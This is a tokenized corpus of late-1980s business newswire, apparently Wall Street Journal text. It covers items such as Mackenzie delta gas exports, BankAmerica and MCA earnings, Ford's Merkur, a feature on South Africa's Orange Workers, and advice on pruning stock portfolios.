Shell Canada Ltd. and Gulf Canada Resources Ltd. , applied to the Canadian National Energy Board to export 9.2 trillion cubic feet of Mackenzie delta natural gas over 20 years starting in 1996 . +To be economically feasible , the 11 billion Canadian dollar -LRB- US$ 9.37 billion -RRB- project requires almost a doubling of natural gas export prices . +It also faces numerous other hurdles including an agreement on a pipeline route for the gas . +The board said the export licenses would be issued on the condition that Canadian interests would also be allowed to bid for the Mackenzie delta gas on terms similar to those offered to U.S. customers . +U.S. buyers have already been lined up . +They include Enron Corp. , Texas Eastern Corp. , Pacific Interstate Transmission Co. and Tennessee Gas Pipeline Co . +The project could result in the U.S. taking more than 10 % of its natural gas supplies from Canada , up from about 5 % currently . +It would bring 13 gas fields into production at a combined rate of about 1.2 billion cubic feet a day . +The board estimated that the cost of building a pipeline from the Mackenzie delta to Alberta would be about C$ 5.9 million . +It also said projections of surging U.S. demand for natural gas and price forecasts of C$ 5.25 per thousand cubic feet by 2005 would make the project economically viable . +Esso , a unit of Imperial Oil Ltd. which is 71%-owned by Exxon Corp. , will be allowed to export 5.1 trillion cubic feet to the U.S. in the 20-year period . +Shell , a subsidiary of Royal Dutch\/Shell Group , will be allowed to export 0.9 trillion cubic feet , and Gulf , a unit of Olympia & York Developments Ltd. will be allowed to export 3.2 trillion cubic feet . +Combustion Engineering Inc. , Stamford , Conn. , said it sold and agreed to sell several investments and nonstrategic businesses for about $ 100 million , which will be used for reducing debt and general purposes . +The transactions are unrelated . +The company agreed to sell its minority investments in makers of steam-generating and related equipment , Stein Industrie and Energie & Verfahrenstechnik , to the major shareholder in the companies , Dutch-based GEC Alsthom N.V . +Combustion Engineering , which provides engineered products , systems and services for power generation , also sold Illinois Minerals Co. , based in Cairo , Ill . +That unit of its Georgia Kaolin Co. subsidiary was sold to a unit of Unimin Corp . +Assets of Construction Equipment International , Houston , were sold to Essex Crane Inc. , and the assets of Elgin Electronics , Erie , Pa. , were sold to closely held Charter Technologies Inc . +Where do Americans put their money ? +It depends on when you look . +In 1900 , for instance , less than 8 % of assets went into bank deposits . +That rose to nearly 18 % during the Depression , and has n't changed much since . +Pension reserves , on the other hand , made up a relatively small part of household assets until the last decade , when they skyrocketed . +And there has been a drastic decline in the importance of unincorporated business assets -- thanks to industry consolidation and a decline in family farms . +That 's some of what emerges from the following charts , which show how Americans have changed their investment patterns over the past 90 years . +Some results are self-explanatory . +But other figures are surprising . +Housing , for instance , has remained a fairly steady component of household assets over the past decade -- although common wisdom would have expected an increase . +`` There is a lot of attention paid to housing as a form of household wealth , '' says Edward N. Wolff , professor of economics at New York University . +`` But it has n't increased much relative to other assets . +It suggests that households accumulate wealth across a broad spectrum of assets . +And housing though it appears in the popular mind as being the major -LCB- growing -RCB- household asset , is n't . '' +In addition , investors ' desire to hold stocks -- directly and through mutual funds -- has held surprisingly steady ; stocks ' importance among assets largely reflects the ups and downs of the stock market , and not a shift in stock-holding preferences . +`` Stocks have not spread to the general public , despite the fact that the environment is much different , '' concludes Robert Avery , an economist at Cornell University . +`` To me it says that despite all the views that we spend too much of our wealth on paper assets , we have ways of holding wealth similar to 100 years ago . '' +-- The charts show how househld assets have been distributed over time . +The main components of the various asseet categories : Housing : Primary home , but not the land it 's on . +Land and Other Real Estate : Land on which primary home is built , investment property . +Consumer Durables : Automobiles , appliances , furniture . +Bank Deposits : Currency , checking-account deposits , small savings and time deposits , certificates of deposits , money-market fund shares . +Bonds : Excludes bond funds . +Stocks\/Mutual Funds : Stocks and mutual funds other than money-market funds . +Unincorporated Business : Partnerships and sole proprietorships , professional corporations . +Pension Reserves : Holdings by pension funds . +McCaw Cellular Communications Inc. said it sent a letter to LIN Broadcasting Corp. clarifying its revised tender offer for LIN and asking LIN to conduct `` a fair auction . '' +The letter apparently came in response to a request for clarification by LIN earlier this week . +LIN , which has agreed with BellSouth Corp. to merge their cellular-telephone businesses , said then that it would n't take a position on McCaw 's revised tender offer . +Earlier this month , McCaw revised its offer to $ 125 a share for 22 million LIN shares . +McCaw is seeking 50.3 % of the cellular and broadcasting concern ; the revised offer includes a feature requiring McCaw to begin an auction process in July 1994 that would buy out remaining holders at a per-share price roughly equivalent to what a third party might then have to pay for all of LIN . +The letter outlines broad powers for an independent group of directors provided for in the revised offer . +In a statement , Craig O. McCaw , chairman and chief executive officer of McCaw , said : `` We trust LIN will take no further actions that favor BellSouth . '' +McCaw said the three independent directors provided for in the offer would be designated by the current board . +The successors would be nominated by the independent directors . +LIN would have a priority right to pursue all opportunities to acquire U.S. cellular interests in markets other than those in which McCaw holds an interest , or which are contiguous to those markets , unless LIN has an interest there or contiguous to it . +Independent directors would have veto rights to any acquisition if they unanimously decide it is n't in LIN 's best interest . +Independent directors would be able to block transactions they unanimously deem would be likely to depress the private market value of LIN at the time it is to be sold in five years . +If LIN is put up for sale rather than purchased by McCaw in five years , McCaw wo n't submit a bid unless the independent directors request it , and the independent directors will run the bidding . +The directors would be able to sell particular assets to enable such buyers as the regional Bell operating companies to purchase the company 's interests . +MCA Inc. said third-quarter net fell 6.3 % to $ 50.8 million , or 69 cents a share , from $ 54.3 million , or 74 cents a share , a year earlier . +MCA said revenue rose 14 % to $ 918.4 million from $ 806.7 million . +The entertainment concern said the success of several movies released during the quarter , including `` Parenthood '' and `` Uncle Buck , '' contributed to record revenue for its film unit . +Both MCA 's music-entertainment and book-publishing units also posted record revenue and operating profit . +The parent company 's net included a loss -- which it did n't specify -- that was related to the company 's 50 % stake in Cineplex Odeon Corp . +Cineplex , a Toronto theater chain , had a second-quarter net loss of $ 38.7 million . +MCA said net also included certain reserves related to the restructuring of its LJN Toys ' international operations . +These items were partly offset , MCA said , by an unspecified gain on the sale of its Miller International unit , a maker and distributor of budget-priced audio cassettes . +In New York Stock Exchange composite trading , MCA rose $ 1.50 to $ 64 . +In the nine months , net rose 35 % to $ 120.1 million , or $ 1.64 a share , from $ 89.2 million , or $ 1.22 a share , a year earlier . +Revenue increased 22 % to $ 2.5 billion from $ 2.1 billion . +Past Due Impasse +I never pay my bills Till the very last day ; I lose far less interest By proceeding that way . +But it all evens out , It 's so easy to see : Not till the last moment Am I paid what 's due me . +-- Arnold J. Zarett . +Rex Tremendae +The effete Tyrannosaurus Rex Had strict Cretaceous views on sex , And that is why you only see him Reproduced in the museum . +-- Laurence W. Thomas . +Helmsley Enterprises Inc. plans to close its company-owned insurance business and is seeking other brokers to take over its policies , according to individuals familiar with the New York firm . +Helmsley Enterprises is the umbrella organization for companies controlled by Harry B. Helmsley . +These include office and residential real estate giant , HelmsleySpear Inc. , and Helmsley Hotels . +The insurance brokerage agency , just a fragment of Helmsley 's vast empire , would be the first piece of the company to be stripped away since last summer when Mr. Helmsley 's wife , Leona Helmsley , was found guilty of tax evasion . +Industry sources estimate the agency brokers property and casualty premiums worth about $ 25 million annually , and has revenue , based on a standard 10 % commission rate , of about $ 2.5 million . +The insurance firm acts as a broker on policies covering buildings managed by HelmsleySpear and others . +Many of the properties are owned through limited partnerships controlled by Mr. Helmsley . +New York State law prohibits insurance brokerages from deriving more than 10 % of revenue from insuring affiliated companies . +Helmsley 's insurance division had slightly exceeded that percentage , sources say , but the division was n't considered significant enough to the company to be restructured , particularly at a difficult time for the firm . +Adverse publicity from the scandal surrounding its founder 's wife and related management strife have put pressure on the entire Helmsley organization . +However , individuals close to the company insist shuttering the insurance division , a sideline from the company 's core property management business , is n't the beginning of a sale of assets . +Helmsley 's insurance premiums are expected to be transferred to several different insurance brokerage companies . +Frank B. Hall Inc. of Briarcliff Manor , N.Y. is reportedly working out an agreement with Helmsley . +Officials there declined to comment , as did Helmsley management . +Outside the white-walled headquarters of the socalled Society of Orange Workers , all seems normal in South Africa 's abnormal society . +A pickup truck driven by a white farmer rumbles past with a load of black workers bouncing in the back . +Over at Conradies , the general store , a black stock boy scurries to help an elderly white woman with her packages . +Down the street , a car pulls into the Shell station and is surrounded by black attendants . +But inside the white walls of the Orange Workers ' office -- just about the largest building in town , save for the Dutch Reformed Church and the school -- South Africa 's neat racial order is awry . +A dozen white office workers fold newsletters and stuff them into envelopes . +White women serve tea and coffee , and then wash the cups and saucers afterwards . +White children empty the wastepaper baskets and squeegee the windows . +There is n't a black worker in sight . +Not in the kitchen , or the storeroom or the book shop . +`` If we want to have our own nation , then we must be willing to do all the work ourselves , '' says Hendrik Verwoerd Jr. , son of the former prime minister and the leader of the Orange Workers , founded in 1980 . +They do indeed want their own nation . +The pillars of apartheid may be trembling in the rest of South Africa , with Johannesburg opening its public facilities to all races , blacks storming the all-white beaches of the Cape and the government releasing seven leaders of the banned African National Congress . +But here in Morgenzon , a sleepy town amid the corn fields of the eastern Transvaal , the Orange Workers are holding the pillars steady . +The Orange Workers -- who take their name from William of Orange of the Netherlands , a hero of the Dutch-descended Afrikaners -- believe that the solution to South Africa 's racial problems is n't the abolition of apartheid , it 's the perfection of apartheid -- complete and total separation of the races . +Here , then , is where the Orange Workers have come to make apartheid 's last stand . +Their idea is to create a city , first , and then an entire nation -- without blacks . +This may seem to be a preposterous and utterly futile effort in Africa . +And the fact that there are only 3,000 card-carrying Orange Workers may put them on the loony fringe . +But their ideal of an Afrikaner homeland , an all-white reserve to be carved out of present-day South Africa , is a mainstream desire of the right-wing , which embraces about one-third of the country 's five million whites . +Afrikaner philosophers and theologians have long ruminated on the need for a white homeland . +The Orange Workers are just putting this preaching into practice . +Thus , farmer Johan Fischer , his T-shirt and jeans covered in grease , crawls around under his planter , tightening bolts and fixing dents . +On almost every other farm in South Africa , black workers do the repairs . +But not here . +Mr. Fischer plows his own fields , sows his own corn and sunflowers , and feeds his own sheep . +Over at the fiberglass factory , four white workers assemble water tanks on their own , and in their spare time they build townhouses across the road . +On Main Street , Alida Verwoerd and her daughters look after the clothes and fabric shop , then hurry home to fix lunch for the rest of the family . +Down by the stream , a group of Orange Workers puts the finishing touches on a golf course . +If whites want to play there by themselves , says consulting engineer Willem van Heerden , whites should also build it by themselves . +`` If we want to survive as a people , '' he says , `` we have to change our way of life . +The Afrikaner must end his reliance on others . '' +In their quest to perfect apartheid , the Orange Workers have discovered a truth that most of privileged white South Africa tries mightily to deny : The master ca n't become dependent on the slave and expect to remain master forever . +`` If apartheid means you want cheap black labor and all the comforts that go with it , but you also want to exclude the blacks from social and political integration , then these are two contradictions that ca n't go on forever , '' says Mr. Verwoerd . +He is sitting in his living room , beneath a huge portrait of his late father , Hendrik F. Verwoerd , apartheid 's architect and South African prime minister from 1958 to 1966 . +Somewhere , the son sighs , things went terribly wrong with apartheid ; today , whites even rely on blacks to police their separation . +`` People took separate development as an opportunity to use black labor without ever getting rid of it . +But my father meant it to mean real separation , '' says the son . +The Orange Workers speak sincerely . +`` We agree with world opinion that the status quo in South Africa is morally wrong , '' says Pieter Bruwer , the Orange Workers ' chief scribe and pamphleteer . +`` We must either integrate honestly or segregate honestly . '' +Morgenzon has long been a special domain of Afrikanerdom . +According to Mr. Verwoerd , the early Afrikaner pioneers were the first people to settle in the eastern Transvaal , even before the blacks . +Then , when Morgenzon was incorporated in 1908 , the farmer who owned the land stipulated that only whites could reside in town ; blacks could work there , but they had to leave at night . +Today , Morgenzon is a town of 800 whites and two paved roads . +Weeds push up through the cracks in the sidewalks , and many houses and storefronts are empty . +There are few factories and no mines . +It was an ideal place for the Orange Workers to start their new nation , unencumbered by the demographics that have undermined apartheid elsewhere in South Africa . +So far , about 150 Orange Workers have moved here , spending nearly $ 1 million buying up property over the past three years . +Still , complete and total segregation remains elusive . +Just beyond the city limits is a shantytown of 2,000 blacks who are employed throughout the area . +Despite the Orange Workers ' intention to put them all out of work , they are in no hurry to leave . +A young man called July -LRB- that 's when he was born -RRB- , who works at the railroad station just up the street from the Orange Workers office , points at the whitewalled building and says matter-of-factly , `` We 're not allowed in there , that 's all I know . '' +The 650-or-so local whites who are n't Orange Workers are more troubled . +Try as they might , they just ca n't conceive of life without black workers . +`` Impossible , impossible , '' say the Conradies , an elderly couple who have run the general store for decades . +`` We ca n't do without their help , '' says Mrs. Conradie . +`` Oh no . +We need them and I thank God for them . '' +Over at the Shell station , owner Rudi van Dyk , who doubles as Morgenzon 's mayor , worries that the Orange Workers have made his town the laughingstock of the nation . +`` What they want us to do just is n't practical , '' he says , noting that he employs 16 blacks . +`` I could n't afford to hire 16 whites . +The only Afrikaners who would be willing to work for this salary would n't know how to handle money . '' +Back at the Verwoerd house , Hendrik Sr. peers down over the shoulder of Hendrik Jr . +The son believes that when the Afrikaners finally realize there is no turning back the integration of South African society and politics , Morgenzon will boom . +`` We urge our people not to wait until they have to fight for their own nation , '' says Mr. Verwoerd . +`` By populating a place now , we make ourselves a power any new government will have to take into account . '' +Curiously , he compares the Orange Workers to the ANC , which his father outlawed in 1960 . +`` The ANC wo n't be stopped until there is a provision for black aspirations , '' says Mr. Verwoerd . +`` Likewise , no government will stop this idea of the Afrikaners . '' +He apologizes for sounding pushy . +`` Look , '' he says , `` If the rest of South Africa wants to have an integrated melting pot , that 's their choice . +We 'll leave them alone . +We just want to have our own cup of tea . '' +And they will even serve it themselves . +Okay , now you can pick up that phone . +But do n't do anything rash . +After last Friday 's stock-market plunge , investment professionals cautioned people to resist the urge to call their brokers and sell stocks . +Not selling into a panic turned out to be very good advice : Despite the market 's volatility , the Dow Jones Industrial Average has surged 114 points in the past four days . +Now , with a semblance of normalcy returning , some advisers say it 's time for investors to take a hard , cold look at the stocks they own and consider some careful pruning . +`` The market is sending nervous signals , '' says Peter J. Canelo , chief market strategist for Bear , Stearns & Co. , and it 's `` unwise '' to be overcommitted to stocks . +Alan Weston , president of Weston Capital Management , a Los Angeles money-management firm , adds that in periods of uncertainty like today , `` it 's a good time to cut out the dead branches of your portfolio . '' +Not everybody agrees that it 's time to trim . +`` We are n't inclined to prune stock portfolios now , '' says Steven G. Einhorn , chairman of the investment policy committee of Goldman , Sachs & Co . +`` Investors should stay with their stocks . +We expect a choppy and sloppy market for a short period , but we do n't think it will be ugly . +The downside is limited . '' +And even those who say some selective selling may be in order stress that individuals need to be in the stock market to achieve their long-term investment objectives and to help balance their other assets . +Any selling , they say , should be well thought-out , and executed gradually , during market rallies . +They offer these suggestions : +GET RID OF THE DOGS . +`` Sell stocks that are n't doing well now , and that do n't have good earnings prospects , '' says Alfred Goldman , technical analyst at St. Louis-based A.G. Edwards & Sons . +`` Most people do just the opposite : They sell their winners and keep their losers . '' +Which types of stocks are most likely to qualify ? +Technology stocks , says Mr. Goldman . +WATCH FOR EARNINGS DISAPPOINTMENTS . +A company does n't have to post a loss to be a candidate for sale , says Charles I. Clough Jr. , chief market strategist at Merrill Lynch & Co . +If earnings do n't live up to analysts ' expectations , he says , that 's enough to dump the stock . +John Markese , director of research for the American Association of Individual Investors , raises a cautionary note . +`` Substituting a rule of thumb for your own judgment '' can be a mistake , he says . +An earnings disappointment may reflect a situation that 's short-term . +But Mr. Clough says , `` The risk is that earnings disappointments will continue . '' +The economy is decelerating after six good years , and `` right now it 's better to shoot first and ask questions later . '' +Which types of stocks currently have the greatest earnings risks ? +Computer companies ; commodity cyclical stocks , like autos ; and retailing stocks , he says . +BEWARE OF HEAVY DEBT . +The companies apt to run into earnings problems soonest are the ones with heavy debt loads , says Larry Biehl , partner in the San Mateo , Calif. , money-management firm of Bailard , Biehl & Kaiser . +Mr. Canelo of Bear Stearns agrees : `` If we do have an economic slowdown , '' he says , `` companies with high debt ratios will be dumped en masse . '' +The best course for individual investors is to sell these stocks now , the two advisers say . +SELL ` WHISPER ' STOCKS . +UAL Corp. 's difficulty in obtaining bank financing for its leveraged buy-out and its resulting price plunge is a tip-off to what 's going to happen to `` takeover stocks , '' says Mr. Canelo . +Takeover activity will slow down as more and more banks tighten their lending requirements , he says . +`` There 'll be fewer and fewer deals . '' +Moreover , many financial advisers say individuals should be in the stock market as long-term investors , not as traders trying to catch the next hot stock . +In general , they say , avoid takeover stocks . +COMPARE P\/E RATIOS WITH PROSPECTS . +Mr. Canelo suggests that investors compare price\/earnings ratios -LRB- the price of a share of stock divided by a company 's per-share earnings for a 12-month period -RRB- with projected growth rates . +`` If you think earnings will grow at 20 % a year , it 's all right to pay 20 times earnings , '' he says . +`` But do n't pay 30 times earnings for a company that 's expected to grow at 15 % a year . '' +Mr. Canelo thinks the market will probably go higher , but `` will be ruthless with stocks if the earnings are n't there . '' +Mr. Markese cautions that investors should n't slavishly follow any specific price\/earnings sell trigger . +`` If you say sell anytime a company 's price\/earnings ratio exceeds 15 , that knocks out all your growth stocks , '' he says . +`` You eliminate companies with substantial prospects that are moving up in price . '' +EXAMINE WHAT HAS CHANGED . +Tom Schlesinger , market analyst at A.G. Edwards & Sons Inc. , says investors should consider selling if there has been a fundamental change in a company since they bought its stock . +Say you purchased a stock because of a new product that was in the works . +Now , because of various difficulties , the product has been scrapped . +Time to sell , says Mr. Schlesinger . +Similarly , he says , suppose you were attracted to a company because of expectations that sales would hit $ 200 million by 1990 . +If things have n't worked out that well , and sales wo n't hit $ 200 million until 1992 , it 's time to consider selling , he says . +USX Corp. declined a United Steelworkers request for a reopening of its four-year labor contract that is due to expire Jan. 31 , 1991 . +The union on Oct. 5 requested that the contract be reopened to restore all pay and benefits that the union gave up in the 1982-83 and 1986-87 rounds of bargaining . +A United Steelworkers spokeman said Lynn Williams , the union 's president , was out of town . +The union wo n't respond to the USX statement until Mr. Williams has studied it , the spokesman said . +Robert A. Oswald , chief financial officer and a director of this natural-gas pipeline company , was elected to the additional position of executive vice president . +In addition , Michael W. O'Donnell , executive vice president of a Columbia unit , was named assistant chief financial officer and a senior vice president of the parent company . +The appointments take effect Nov. 1 . +Both men are 44 years old . +This magazine and book publisher said three men were elected directors , increasing the board to 10 . +They are : James R. Eiszner , 62 years old and chairman and chief executive officer of CPC International Inc. ; Robert G. Schwartz , 61 , chairman , president and chief executive officer of Metropolitan Life Insurance Co. , and Walter V. Shipley , 53 , chairman and chief executive officer of Chemical Banking Corp . +BankAmerica Corp. reported a 34 % jump in third-quarter earnings , as its rocket-like recovery from nearly ruinous losses several years ago continued to be fueled by growth in consumer loans , higher interest margins and negligible loan losses . +For the quarter , BankAmerica said it earned $ 254 million , or $ 1.16 a share , compared with $ 190 million , or 97 cents a share , a year earlier . +BankAmerica spokesmen said preliminary reports indicate the company was n't materially affected by the Tuesday earthquake . +All but eight of the 850 branches , which had some structural damage , reopened yesterday for business . +Automated teller machine operations also were up and operating yesterday , a bank spokesman said . +For the first time in nearly two years , BankAmerica results failed to improve in consecutive quarters , but the decline from the second quarter was attributable to special factors . +Third-quarter profit was 16 % below the $ 304 million , or $ 1.50 a share , earned in the 1989 second quarter . +The company cited higher tax credits in the second quarter , totaling $ 63 million , compared with $ 28 million in the third quarter . +Excluding tax credits , profit was 6 % below the second quarter . +But that drop was caused entirely by a decline in Brazilian interest paid , to $ 5 million from $ 54 million the second quarter . +Moreover , BankAmerica continued to build its reserve against troubled foreign loans by boosting its loan-loss provision to $ 170 million , about the same as the previous quarter but well above the $ 100 million in the year-earlier quarter . +The provision rate was far above BankAmerica 's actual net credit losses of $ 24 million in the third quarter , compared with $ 18 million in the second period and $ 38 million a year earlier . +As a result , BankAmerica said its reserve against troubled foreign-country loans , once below 25 % , now amounts to 45 % of the $ 6.4 billion of non-trade debt it calculates it is owed by those nations . +That level is about the same as some other big banks , but far below the 85 % and 100 % reserves of Bankers Trust New York Corp. and J.P. Morgan & Co. , respectively . +By any measure , third-quarter earnings were still robust , equivalent to a 0.92 % return on assets even excluding tax credits . +By that key measure of operating efficiency , BankAmerica turned in a better performance than its well-regarded Los Angeles-based competitor , Security Pacific Corp. , which posted a 0.89 % return in the third quarter . +But it continued to badly trail its San Francisco neighbor , Wells Fargo & Co. , which reported an extraordinary 1.25 % return on assets . +Both returns do n't include any tax credits . +`` They -LCB- BankAmerica -RCB- continue to show good performance , '' said Donald K. Crowley , an analyst with Keefe , Bruyette & Woods Inc. , San Francisco . +In composite trading yesterday on the New York Stock Exchange , BankAmerica common stock edged up 12.5 cents to close at $ 32 a share . +Shareholder equity improved to 4.68 % from 4.23 % in the previous quarter . +The 4.52 % net interest margin , or the difference between the yield on a bank 's investments and the rate it pays for deposits and other borrowings , was still markedly higher than the 3.91 % ratio a year earlier , and is among the best in the industry , analysts said . +The high margin partly stems from continued strong growth in high-yielding consumer loans , which jumped 31 % to $ 17.47 billion from a year earlier , and residential mortgages , which rose 25 % to $ 12 billion . +BankAmerica 's total loans rose 8 % to $ 71.36 billion . +For the nine months , BankAmerica profit soared 81 % to $ 833 million , or $ 4.07 a share , from $ 461 million , or $ 2.40 a share . +International Business Machines Corp. will announce on Tuesday a slew of software products aimed at eliminating some of the major problems involved in computerizing manufacturing operations , industry executives said . +Many plant floors currently resemble a Tower of Babel , with computers , robots and machine tools that generally speak their own language and have trouble talking to each other . +As a result , if a problem develops on a production line , it is unlikely some supervisor sitting in front of a personal computer or workstation will know about it or be able to correct it . +So IBM will be announcing more than 50 products that will be aimed at letting even the dumbest machine tool talk to the smartest mainframe , or anything in between . +In an unusual display of openness , IBM also will be helping customers tie together operations that include lots of equipment made by IBM 's competitors . +In addition , the executives said IBM will be offering programming tools designed to let anyone working on a factory floor write ad-hoc software , for instance , to do statistical analysis that would pinpoint a problem on a manufacturing line . +In Armonk , N.Y. , an IBM spokeswoman confirmed that IBM executives will be announcing some computer-integrated-manufacturing plans next week but declined to elaborate . +The industry executives said that , as usual with such broad announcements from IBM , this one will be part reality and part strategy . +So it will take many quarters for IBM to roll out all the products that customers need , and it will take years for customers to integrate the products into their operations . +Also as usual , the products will appeal mostly to heavy users of IBM equipment , at least initially . +Still , consultants and industry executives said the products could help make manufacturing operations more efficient , and provide a boost to the computer-integrated-manufacturing market -- a market that Yankee Group , a research firm , has said may double to $ 40 billion by 1993 . +`` This is a step in the right direction , '' said Martin Piszczalski , a Yankee Group analyst . +He added , though , that `` a lot of this is intentions ... . +We 'll have to wait and see '' how the plan develops . +The announcements also should help IBM go on the offensive against Digital Equipment Corp. on the plant floor . +While IBM has traditionally dominated the market for computers on the business side of manufacturing operations and has done well in the market for design tools , Digital has dominated computerized manufacturing . +Hewlett-Packard Co. also has begun to gain share in the whole computer-integrated-manufacturing arena . +IBM will face an uphill climb against Digital , given Digital 's reputation for being better than IBM at hooking together different manufacturers ' computers . +In addition , Hewlett-Packard , while a much smaller player , has made a big commitment to the sorts of industry standards that facilitate those hookups and could give IBM some problems . +Both can be expected to go after the market aggressively : Gartner Group Inc. , a research firm , estimated the Digital gets 30 % of its revenue from the manufacturing market , and Hewlett-Packard gets 50 % . +IBM , which Gartner Group said generates 22 % of its revenue in this market , should be able to take advantage of its loyal following among buyers of equipment . +That is because many companies will standardize on certain types of equipment as the various parts of the manufacturing market merge , and IBM is the biggest player . +But much will depend on how quickly IBM can move . +The whole idea of computer-integrated manufacturing , CIM , seems to be making a comeback after losing a little luster over the past couple of years when it became apparent that it was n't a panacea that would make U.S. plants more efficient and banish foreign competition . +Erik Keller , a Gartner Group analyst , said organizational changes may still be required to really take advantage of CIM 's capabilities -- someone on the shop floor may not like having someone in an office using a personal computer to look over his shoulder , for instance , and may be able to prevent that from happening . +But he said a system such as IBM 's should help significantly . +In making polyethylene sheets out of plastic chips , for instance , a chip sometimes does n't melt , gets caught in the machinery and creates a run in the sheets . +That can be expensive , because the problem may not be noticed for a while , and the sheets are typically thrown away . +But Mr. Keller said that , if computers can be integrated into the process , they could alert an operator as soon as the problem occurred . +They could also check through the orders on file to find a customer that was willing to accept a lower grade of polyethylene . +The computer would let the machine run just until that order was filled , eliminating waste . +This sort of improved link figures to eventually become a significant weapon for some companies . +Companies might be able to tell salespeople daily , for instance , about idle equipment , so they could offer discounts on whatever that equipment produces . +Salespeople also could get a precise reading on when products could be delivered -- in much the same way that Federal Express has marketed its ability to tell exactly where a package is in the delivery system . +Ford Motor Co. 's Merkur , the company 's first new car franchise in the U.S. since the Edsel was unveiled in 1957 , now will share Edsel 's fate . +Ford said yesterday it will halt imports of the Merkur Scorpio , a $ 28,000 luxury sedan built by Ford of Europe in West Germany . +The cars are sold under a separate franchise with its own sign in front of Lincoln-Mercury dealers -- as opposed to new models such as Taurus or Escort , which are sold under existing Ford divisions . +The move to halt imports -- announced 29 years and 11 months to the day after Henry Ford II declared that the Edsel division and its gawky car would be scrapped -- kills the four-year-old Merkur brand in the U.S. market . +It will continue to be sold in the European market . +Merkur 's death is n't nearly as costly to Ford as was the Edsel debacle , because Merkur was a relatively low-budget project with limited sales goals . +Still , Merkur 's demise is a setback for Ford at a time when the company 's image as the U.S. auto maker with the golden touch is showing signs of strain . +The No. 2 auto maker 's new Thunderbird and Mercury Cougar models have n't met sales expectations in the year since they were introduced , and Ford 's trucks are losing ground to their GM rivals . +This fall , Ford introduced only one new product : A restyled version of its hulking Lincoln Town Car luxury model . +The demise of Merkur -LRB- pronounced mare-COOR -RRB- comes after a September in which 670 Merkur dealers managed to sell only 93 Scorpios . +Total Merkur sales for the first nine months dropped 46 % from a year ago to just 6,320 cars . +Merkur is n't the only European luxury brand having problems in the U.S. . +The Japanese assault on the luxury market is rapidly overshadowing such European makes as Audi and Saab , which at least have clear brand images . +Merkur , as an import on domestic car lots , suffered from the same sort of image confusion that is hobbling sales of imports at General Motors Corp. and Chrysler Corp . +Merkur was originally aimed at enticing into Lincoln-Mercury dealerships the kind of young , affluent buyers who would n't be caught dead in a Town Car -- a vehicle so bargelike that Ford is staging a press event next month linking the Town Car 's launch to the commissioning of a new aircraft carrier in Norfolk , Va . +But the brand had trouble from the start . +The first Merkur , the XR4Ti , went on sale in early 1985 . +The sporty coupe foundered in part because American buyers did n't go for the car 's unusual double-wing rear spoiler . +In May 1987 , Ford began importing the Scorpio sedan from West Germany to sell next to a redesigned XR4Ti in showrooms . +Ford officials said they expected the two Merkurs would sell about 15,000 cars a year , and in 1988 they reached that goal , as sales hit 15,261 cars . +It was downhill from there , however . +One major factor was the decline of the dollar against the mark , which began less than a year after Merkur 's 1985 launch . +As the West German currency rose , so did Merkur prices . +The Merkur cars also suffered from spotty quality , some dealers say . +`` It was like a comedy of errors , '' says Martin J. `` Hoot '' McInerney , a big dealer whose Star Lincoln-Mercury-Merkur operation in Southfield , Mich. , sold more XR4Ti 's than any other dealership . +But by the third quarter of 1988 , Scorpios had a high satisfaction rating in internal Ford studies , a spokesman said . +Apparently , however , the improvement came too late . +Last fall , Ford announced it would discontinue the XR4Ti in the U.S. at the end of the 1989 model year . +Ford said then it would keep the Scorpio . +This year , Scorpio sales plummeted , and at the current sales pace it would take Ford 242 days to sell off the current Scorpio inventory of about 4,600 cars . +Canadian Pacific Ltd. said it proposed acquiring the 44 % of Soo Line Corp. it does n't already own for $ 19.50 a share , or about $ 81.9 million , after failing to find a buyer for its majority stake earlier this year . +Soo Line said its board appointed a special committee of independent directors to study the proposal . +The troubled Minneapolis-based railroad concern said the committee has the authority to hire financial and legal advisers to assist it . +The proposed acquisition will be subject to approval by the Interstate Commerce Commission , Soo Line said . +In New York Stock Exchange composite trading yesterday , Soo Line shares jumped well above the proposed price , closing at $ 20.25 , up $ 2.75 . +Canadian Pacific put its 56 % stake in Soo Line up for sale last year but could n't find any takers . +Canadian Pacific , which has interests in transportation , telecommunications , forest products , energy and real estate , finally took its majority block off the market this spring . +`` It turned out we could n't sell it , '' a Canadian Pacific official said , adding that acquiring the remainder of Soo Line is now `` the best way to rationalize operations . '' +Canadian Pacific is Soo Line 's biggest customer and has owned a majority stake in the U.S. railroad since 1947 . +Canadian Pacific and Soo Line tracks connect at two points in the West on the Canada-U.S. border and the two companies operate a very successful Chicago-Montreal rail service . +Separately , for the first nine months , Soo Line reported a loss of $ 398,000 , or four cents a share , compared with net income of $ 12.5 million , or $ 1.32 a share , a year earlier . +Revenue fell 5.8 % to $ 407.9 million from $ 433.2 million . +The company had a loss from operations of $ 1.7 million . +Golden Nugget Inc. reported a third-quarter net loss of $ 13.1 million , or 76 cents a share , based on 17.2 million common shares and dilutive equivalents outstanding . +The results compare with a year-earlier net loss of $ 1.5 million , or seven cents a share , based on 20.3 million common and dilutive equivalents outstanding . +Operating revenue rose 25 % to $ 52.1 million from $ 41.8 million a year ago . +Results for the latest quarter include nonoperating items of $ 23.9 million , versus $ 8.4 million a year earlier . +Most of the expenses stem from the company 's huge Mirage resort-casino scheduled to open next month along the Strip , and an April 1989 financing by units operating the downtown Golden Nugget property . +For the nine months , Golden Nugget reported a net loss of $ 11.4 million , or 69 cents a share , based on 16.6 million common and dilutive equivalents outstanding . +The year earlier , the company had a net loss of $ 4.3 million , or 20 cents a share , based on 21 million common shares and dilutive equivalents outstanding . +The 1988 results include a $ 10.7 million charge stemming from a litigation judgment . +Separately , the casino operator said its board approved a plan to buy-back as many as three million common shares from time to time , either in the open market or through private transactions . +An additional 299,000 shares are authorized for repurchase under an earlier stock buy-back program . +John Uphoff , an analyst with Raymond James & Associates , said the results were n't surprising , and attributed the buy-back to management 's confidence in the Mirage 's ability to generate strong cash flow in 1990 . +Yesterday , in New York Stock Exchange composite trading , Golden Nugget common closed at $ 28.25 , up $ 2 . +Capital Holding Corp. said it requested and received the resignation of John A. Franco , its vice chairman , as an officer and a director of the life insurance holding company . +The company said Mr. Franco developed a plan to establish a business that might be competitive with Capital Holding Corp. 's Accumulation and Investment Group , which Mr. Franco headed . +The group temporarily will report to Irving W. Bailey II , chairman , president and chief executive officer of Capital Holding . +Mr. Franco , 47 years old , said in a telephone interview that he has been considering and discussing a number of possible business ventures , but that `` nothing is at a mature stage . '' +He said he `` did n't argue with '' the company 's decision to seek his resignation because contemplating outside business ventures can distract an executive from performing his best `` at the job he is paid to do . '' +Martin H. Ruby , a managing director of Capital Holding 's Accumulation and Investment Group , also resigned to pursue other business interests , Capital Holding said . +Mr. Ruby , 39 , said that he had `` 